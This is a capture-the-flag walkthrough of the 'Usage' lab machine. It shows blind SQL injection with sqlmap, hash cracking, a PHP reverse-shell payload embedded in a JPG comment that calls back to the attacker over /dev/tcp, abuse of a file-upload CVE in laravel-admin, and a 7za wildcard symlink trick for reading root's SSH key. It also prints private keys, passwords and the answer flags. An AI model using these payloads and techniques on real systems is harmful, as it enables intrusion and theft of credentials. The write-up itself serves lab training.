MACHINE - USAGE

IP: 10.10.11.18Type: Linux

OPEN PORTS

INSPECTING THE SITE

- There is a redirect to usage.htb
- We need to add the IP to the list of hosts in order to open the site

```
$ sudo -s
$ echo '{IP} usage.htb admin.usage.htb' >> /etc/hosts
```

- At this point we can correctly open the site
 - As we can see it is a login page
 - Using Wappalyzer we can see that it is using
- 1. Laravel as Web Framework
- 2. Nginx as web server version 1.18.0
- 3. Nginx as reverse proxy
- 4. PHP as programming language
- There are two cookies

laravel_session=eyJpdi161kFYZ1pXZWU5b3k5bkpZSXZud0xkY1E9PSIsInZhbHV11joiRVM4 KzRBNW10RXFaTVF2MWE2SGtTUW9JRjdTeWNpbEp0bmRS0DlCRHMyYkZDckhJVGNTRFYxTGVCbWdu ZFZtWX1JditqcXd0STREREc1cTJGL0Z3RUNhcTJu0XUwTmtld1oyTDFXS2F2MUg5N2I3MjVSRmxMbhV0H12K0V6RHIiLCJtYWMi0iIxZThhMTE5YTg3ZjQ1ZWU3ZGJm0TE4MzN1ZGIyZmY10DM2Yjhl0WZmY2I2M2YwNWVjZDNkYjA4MjFlMWE5ZTczIiwidGFnIjoiIn0%3D

XSRF-TOKEN=eyJpdi161kxKdGxIWWNuTGpIVENWUnQwbDgwUnc9PS1sInZhbHV11joiVTBTbEF1e FQ0L2ZxMjdodWsvYisvbW53SWc1SmxkbDhQenJ4UERJTHpoS3BZMnkyVmJp0GFYZkVKSEE1U0NFe GJrRGRtVHd00EE5U1cwaDNvWCt0Zm5GTjFyTzRLR2VLTDZxLy93V1VjUkFSU1MvTWdUb11XUUd3T TgrcStwaFUiLCJtYWMi0iI2YWV1NGM4MDE3NjgzZDRhNDkyZTIwMTk30TMyMTJ1YjMz0TI30WZmY

WRiMjI5NWZmZmEwODdjOGQyNTY1ZDJjIiwidGFnIjoiIn0%3D

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

• Inspecting the page source code there is a

<input type="hidden" name="_token" value="hzckZuqet2rAE3zAYNiHcbhpen7JWQjk8gG9Qup9">

- This token along with XSRF-TOKEN are anti-forgery practice . . . hence XSRF is not exploitable
- Moreover, we also see two other pages
- 1. post-login
- 2. forget-password
- Clicking on Register and inspecting the source page we see
- 1. The same token
- 2. a post-registration page used to handle post request

SQL INJECTION

- There are a bunch of form for login/register/forget password
- I would like to not consider the register case
- Tried to login to see if something strange might be used ... nothing found
- Moreover, it does not shows any error or message when providing wrong credentials
- Go to the Forget-password page.
- When we try to enter a non-existent password it gives us an error
- This might seems that it is using some kind of SQL queries to check if provided email exists or not
- It is quite intuitive to try some old SQL injection techniques
- When I try to put the classical 'OR '1'='1 I don't receive any error ... It seems injectable
- Let's check it using SQLMAP
- First let's setup a Manual proxy on localhost:8080
- Open BurpSuite and intercept the POST request on /forget-password

POST /forget-password HTTP/1.1

```
Host: usage.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://usage.htb
Connection: close
Referer: http://usage.htb/forget-password
Cookie: XSRF-TOKEN=eyJpdi161jhNQ05BYVJUMUpqeWlNcFZ2eXRIalE9PSIsInZhbHVlI
joiUTlyMOdMdDMwbUZQMUtQblV2ZOdsVFpZLyt0ZndZQnduQ1Ewbk1LWExE0UhFQ080djZnb
VBNbzR60HhpTTRVN1FoZkFITVZEU2NPckJNKz1ISmJLUjBtRVVDMDJBYjN1NmgrU1Fjc2FkZ
TRMMDZCQWVOWlhHK21VOGxFMW9zZnUiLCJtYWMiOiJjODczYmZlNGMONGU2ODkONDUOM2FiN
GZmNDk3OThmNjFhMDg3MGEyYWUwODR1ZGExMzRhM2Q1ZWUyNDYwZmM1IiwidGFnIjoiIn0%3D;
laravel session=eyJpdi16Ind0c0xiVFBkcUZsQVYyTWxNSTB4RGc9PSIsInZhbHVlIjoiS
1Z2V2E10XVGVjJGZzEvd1M0eFAybTVZNzBrTjdt0E1GMU4zdXgxZFFIL3FMdmVVcHRkaUZNeW
hGaHVFaHd6ZVNQUTJEdzBER280KzZOSGdKNFFKZzgra3pZZXU4ajRiNnZ20W5X0WptRU9qWXZ
{\tt TdGtfSXpPTWJVYXhDWVdJSjMiLCJtYWMiOiJhMDA4ZWFmMWE10TMxOWJj0TUxMGNi0WQwZTMyM}
2RhYTUwZjYxM2I1NTJjMGYwMzcwZjgONGF1ZTU2NzIOYWFmIiwidGFnIjoiInO%3D
Upgrade-Insecure-Requests: 1
_token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email=email
  • Save this request into a file named request
$ sqlmap -r request -p email --batch --risk 3 --level 4 --dbs
  • The log saved into /home/{user}/.local/share/sqlmap/output/usage.htb
sqlmap identified the following injection point(s) with a total of 627 HTTP(s) requests:
Parameter: email (POST)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email=email'
             AND 7446=(SELECT (CASE WHEN (7446=7446) THEN 7446 ELSE
             (SELECT 8947 UNION SELECT 1711) END))-- jhlC
    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: _token=TZCqMUQsBNAYUzprPXJHjp1VdOQfoDa14vKfJGgP&email=email'
             AND 1547=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,
             INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS
             C WHERE 0 XOR 1)-- SzQq
web server operating system: Linux Ubuntu
```

web application technology: Nginx 1.18.0

```
back-end DBMS: MySQL > 5.0.12
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
```

- What sqlmap found was that the email parameter is injectable
- In particular, we cannot use classical SQL Injection Technique
- We see a 500 Internal Server Error when providing strange injection
- However, the error page does not shows any particular message
- Hence, we need to use Blind SQL Injection techniques.

Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. Many techniques such as UNION attacks are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application's responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used. BSQLi asks the database true or false questions and determines the answer based on the applications response.

• At this point let's enumerate the tables in the usage_blog DB

```
$ sqlmap --batch -r request -p email --batch --risk 3 --level 4 -D usage_blog --tables
```

```
Database: usage_blog
[15 tables]
+----+
| admin_menu
| admin_operation_log
| admin_permissions
| admin role menu
| admin role permissions |
| admin_role_users
| admin_roles
| admin_user_permissions |
| admin_users
| blog
| failed_jobs
| migrations
| password_reset_tokens
| personal_access_tokens |
users
```

• There are 15 tables, but only one is of our intereset: admin_users

• Let's shows the entries of this table

- We have a username admin and the hash of a password
 - We need to crack the hash and retrieve the password

```
$ hashcat -m 3200 -a 0 passwd.hash /usr/share/wordlists/rockyou.txt
...
```

\$2y\$10\$ohq2kLpBH/ri.P5wR0P3U0mc24Ydvl9DA9H1S6oo0MgH5xVfUPrL2:whatever1

. . .

- The credentials seems to be admin:whatever1
- Now, we can access to the admin.usage.htb page and login using the credentials

OBTAINING A REVERSE SHELL

- Once we are logged into the administrator page we see a number of dependencies
- 1. PHP V. ^8.1
- 2. encore/laravel-admin V. 1.8.18
- 3. guzzlehttp/guzzle V. ^7.2
- 4. laravel/framework V. ^10.10
- 5. laravel/sanctum V. ^3.2
- 6. laravel/tinker V. ^2.8
- 7. symfony/filesystem V. ^6.3
- We also find the Laravel version 10.18.0
- Looking in the Internet it seems that there is a CVE for encore/laravel
- This is the CVE: https://www.cve.org/CVERecord?id=CVE-2023-24249

An arbitrary file upload vulnerability in laravel-admin allows attackers to execute arbitrary code via crafted PHP file in "user settings" interface.

- If we go to the settings page, we can see that we can upload an image.
- Maybe, this is our attack vector.
- If we look at the source code there is a link:

http://admin.usage.htb/vendor/laravel-admin/AdminLTE/dist/img/

- It might refers where the images are saved
- However, when opening the link we obtain a HTTP 403 Forbidden Error'
- Given the CVE we should be able to run commands uploading arbitrary PHP file
- However, we cannot upload PHP file, just images ...
- There are a number of ways of hideing PHP code inside a JPG
- One of them consists of writing it inside the comments
- More info **Here**
- First let's download the default image
- Then we run the following command

```
$ exiftool -comment="<?php system("/bin/bash -c '\'\
    'exec bash -i >& /dev/tcp/{MyIP}/{port} <&1'\''")?>" user2-160x160.jpg
$ ls
user2-160x160.jpg user2-160x160.jpg_original

$ mv user2-160x160.jpg payload.jpg
```

- user2-160x160.jpg is the modified one
- Inspecting the image we should be comment at the top of the HEX dump
- \$ xxd payload.jpg

```
. . .
```

```
      000000000:
      ffd8 ffe0 0010 4a46 4946 0001 0100 0001
      ......JFIF......

      00000010:
      0001 0000 fffe 0050 3c3f 7068 7020 7379
      ......P<?php sy</td>

      00000020:
      7374 656d 2822 2f62 696e 2f62 6173 6820 stem("/bin/bash

      00000030:
      2d63 2027 6578 6563 2062 6173 6820 2d69 -c 'exec bash -i

      00000040:
      203e 2620 2f64 6576 2f74 6370 2f31 302e >& /dev/tcp/10.

      00000050:
      3130 2e31 342e 3536 2f31 3233 3420 3c26 10.14.56/1234 <&</td>

      00000060:
      3127 2229 3f3e ffdb 0043 0002 0202 0202 1'")?>...C....
```

- Now, we need to setup a manual proxy localhost:8080 for Burp
- Switch on the Intercept, load the image into the site and then click Submit
- Burp should have intercepted the request with all the fields
- Down in the request body there are all th fields
- In particular we are interesting in the file field that is equal to payload.jpg
- To make the attack successful we need to change the extension into payload.jpg.php
- This is important, since we have bypassed to Javascript check done in the frontend

- At this point, we already should have prepared a Netcat listener
- Let's forward all the subsequent requests and we have a reverse shell

```
dash@usage:/var/www/html/project_admin/public/uploads/images$ cd
dash@usage:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
dash@usage:~$ export TERM=xterm
dash@usage:~$ whoami
dash
dash@usage:~$ pwd
/home/dash
dash@usage:~$ cat user.txt
5d754cabaff1692ebfd8288f6862397c
dash@usage:~$ cat .ssh/id_rsa
```

----BEGIN OPENSSH PRIVATE KEY----

b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEA3TGri1F/7YzwawPZgOLvRlkEMJSJQxCXwxT+kY93SpmpnAL0U73Y RnNLYdwGVjYb045FtII1B/MgQI2yCNrxl/1Z1JvRSQ97T8T9M+xmxLzIhFR4HGI4HT0nGQ doI30dWka5nVFOTrEDL4hSXgycsTzfZ1NitWgGgRPc315XDmzII3PsiTHrwfybQWjVBlql QWKmVzdVoD6KNotcYgjxnGVDvqV0z18m0ZtFkfMbkAgUAHEH0rTAnDmLY6ueETF1Qlgy4t iTI/1452IIDGdhMGNKxW/EhnaLaHqlGGwE93cI7+Pc/6dsogbVCEtTKfJfofBxM0XQ970p LLZjLuj+iTfjIc+q6MKN+Z3VdTTmjkTjVBnDqiNAB8xtu00yE3kR3qeY5A1X1z5GzGrD2X M1gAml6w5K74HjFn/X4lxlz0Zxfu54f/vkfdoL8080Ic8707N3CvVnAwRfKS70VWELiqyD 7seM4zmM2kHQiPHyOdrZ/wl6RQxx2dAd87AbAZvbAAAFgGobXvlqG175AAAAB3NzaC1yc2 $\verb|EAAAGBAN0xq4pRf+2M8GsD2YNC70ZZBDCUiUMQ18MU/pGPd0qZqZwC9F092EZzS2HcB1Y2| \\$ GzuORbSCNQfzIECNsgja8Zf9WdSbOUkPeO/E/TPsZsS8yIRUeBxiOBOzpxkHaCN9HVpGuZ 1RdE6xAy+IU14MnLE832dTYrVoBoET3N5eVw5syCNz7Ikx68H8m0Fo1QZapUFiplc3VaA+ ijaLXGII8ZxlQ761Ts9fJtGbRZHzG5AIFABxBzq0wJw5i2OrnhExdUJYMuLYkyP5eOdiCA xnYTBjSsVvxIZ2i2h6pRhsBPd3CO/j3P+nbKIG1QhLUynyX6HwcTNF0PezqSy2Yy7o/ok3 4yHPqujCjfmd1XU05o5E41QZw6ojQAfMbbtNMhN5Ed6nm0QJV5c+Rsxqw9lzNYAJpesOSu +B4xZ/1+JcZczmcX7ueH/75H3aC/NPDiHP090zdwr1ZwMEXyku9FVhC4qsg+7Hj0M5jNpB OIjx8tHa2f8JekUMcdnQHfOwGwGb2wAAAAMBAAEAAAGABhXWvVBur49gEeGi0009HfdW+S ss945eTnymYETNKF0/4E3og0FJM079F00js3171FDetA+c++IBciUzz7C0UvsiXIoI4PSv FMu715EaZrE25wUX5NgC6TLBlxuwDsHja9dkReK2y29tQgKDGZ1J0ksNb19J60m6vBRa0D dSN9BgVTFcQY4BCW40q0ECE1GtGDZpkx6vmV//F28QFJZgZ0gV7AnK0ERK4hted5xzlqvS OQzjAQd2ARZIMm7HQ3vTy+tMmy3k1dAdVneXwt+2AfyPDnAVQfmCBABmJeSrgzvkUyIUOJ ZkEZhOsYdlmhPejZoY/CWvD16Z/6II2aOJgNmHZElRUVVf8GeFVoOXqSWa589eXMb3v/M9 dIaqM9U3RV1qfe9yFdkZmdSDMhHbBAy1573brrqZ+Tt+jkx3pTgkNdikfy3Ng11N/437hs UYz8flG2biIf4/qjgcUcWKjJjRtw1Tab48g34/LofevamNHq7b55iyxa1iJ75gz8JZAAAA wQDN2m/GK1W0x0xawRvDDTKq4/8+niL+/1JyVp5AohmKa89iHxZQGaBb1Z/vmZ1pDCB9+D aiGYNumxOQ8HEHh5P8MkcJpKRV9rESHiKhw8GqwHuhGUNZtIDLe60BzT6DnpOoCzEjfk9k $\verb|gHPrtLW78D2BMbCHULdLaohYgr4LWsp6xvksnHtTsN0+mTcNLZU8npesS00osFlgVAjBA6|| \\$ 6bl0Vm/zpxsWLNx6kLi41beKu0yY9Jvk7zZfZd75w9PGRfnc4AAADBA00zmCSzphDCsEmu L7iNPORHSSnB9NjfBzrZF0LIwCBWdjDvr/FnSN75LZV8sS8Sd/BnOA7JgLi7Ops2sBeqNF SD05fc5GcPmySL0/sfMijwFYIg75dXBGBDftBlfvnZZhseNovdTkGTtFwdN+/bYWKN58pw JSb7iUaZHy80a06BmhoyNZo4I0gDknvkfk9wHDuYNHdRnJnDuWQVfbRwnJY90KSQcAaHhM tCDkmmKv42y/I6G+nVoCaGWJHpyLzh7QAAAMEA+K8JbG54+PQryAYqC4OuGuJaojDD4pX0 s1KWvPVHaOOVA54VG4KjRF1KnPbLzGDhYRRtgBOC/40J3gY7uNdBxheO7Rh1Msx3nsTT9v iRSpmo2FKJ764zAUVuvOJ8FLyfC2OB4uaaQpOpYRgoA5G2BxjtWnCCjvr2lnj/J3BmKcz/ b2e7L0VKD4cNk9DsAWwagAK2ZRH1Q5J6OudocmNBEugyGe8ztkRh1PYCB8W1Jqkygc8kpT 63zj5LQZw2/NvnAAAACmRhc2hAdXNhZ2U=

----END OPENSSH PRIVATE KEY----

- Now we have the private SSH key of dash user
- We can use it to obtain an SSH connection

PRIVILEGE ESCALATION

• First login using SSH

```
dash@usage:~$ 11
total 52
drwxr-x--- 6 dash dash 4096 Apr 27 13:41 ./
drwxr-xr-x 4 root root 4096 Aug 16 2023 ../
lrwxrwxrwx 1 root root
                       9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx----- 3 dash dash 4096 Aug 7 2023 .cache/
drwxrwxr-x 5 dash dash 4096 Apr 27 13:32 .config/
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local/
-rw-r--r-- 1 dash dash 32 Oct 26 2023 .monit.id
-rw-r--r-- 1 dash dash 6 Apr 27 13:41 .monit.pid
-rwx----- 1 dash dash 707 Oct 26 2023 .monitrc*
-rw----- 1 dash dash 1192 Apr 27 13:42 .monit.state
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx----- 2 dash dash 4096 Aug 24 2023 .ssh/
-rw-r---- 1 root dash 33 Apr 27 07:08 user.txt
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
   use address 127.0.0.1
   allow admin:3nc0d3d_pa$$w0rd
#Apache
check process apache with pidfile "/var/run/apache2/apache2.pid"
   if cpu > 80% for 2 cycles then alert
```

```
#System Monitoring
check system usage
    if memory usage > 80% for 2 cycles then alert
    if cpu usage (user) > 70% for 2 cycles then alert
        if cpu usage (system) > 30% then alert
    if cpu usage (wait) > 20% then alert
    if loadavg (1min) > 6 for 2 cycles then alert
    if loadavg (5min) > 4 for 2 cycles then alert
    if swap usage > 5% then alert
check filesystem rootfs with path /
       if space usage > 80% then alert
  • We have found a password for something
  • We can try to sudo either dash or xander
dash@usage:~$ sudo -1
[sudo] password for dash: 3nc0d3d_pa$$w0rd
Sorry, try again.
dash@usage:~$ su xander
Password: 3nc0d3d_pa$$w0rd
xander@usage:/home/dash# sudo -1
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\: ...
    use_pty
User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management
xander@usage:/home/dash# cd
xander@usage:~# sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
```

- Since it is a custom executable file we cannot do more
- However, we can inspect the content at least using strings

```
xander@usage:~# string /usr/bin/usage_management
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Password has been reset.
  • In particular we can refer to the 7za command
  • There is a technique known as Wilcards Spare that can be used
  • More on HackTricks - Wildcard Spare
  • Following the steps we use
xander@usage:~# cd /var/www/html
xander@usage:~# touch @id rsa
xander@usage:~# ln -s /root/.ssh/id_rsa id_rsa
xander@usage:~# sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
----BEGIN OPENSSH PRIVATE KEY---- : No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
QgAAAAtzc2gtZWQyNTUx0QAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q : No more files
AAAEC63P+5DvKwuQtE4Y0D4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs : No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM= : No more files
----END OPENSSH PRIVATE KEY----: No more files
  • In this way we have obtained the private SSH key of the root user
$ ssh root@{IP} -i id_rsa_root
root@usage:~# cat root.txt
c515a983b3d5f5763fdc1c2bdb90e757
```

FLAGS

USER: 5d754cabaff1692ebfd8288f6862397c ROOT: c515a983b3d5f5763fdc1c2bdb90e757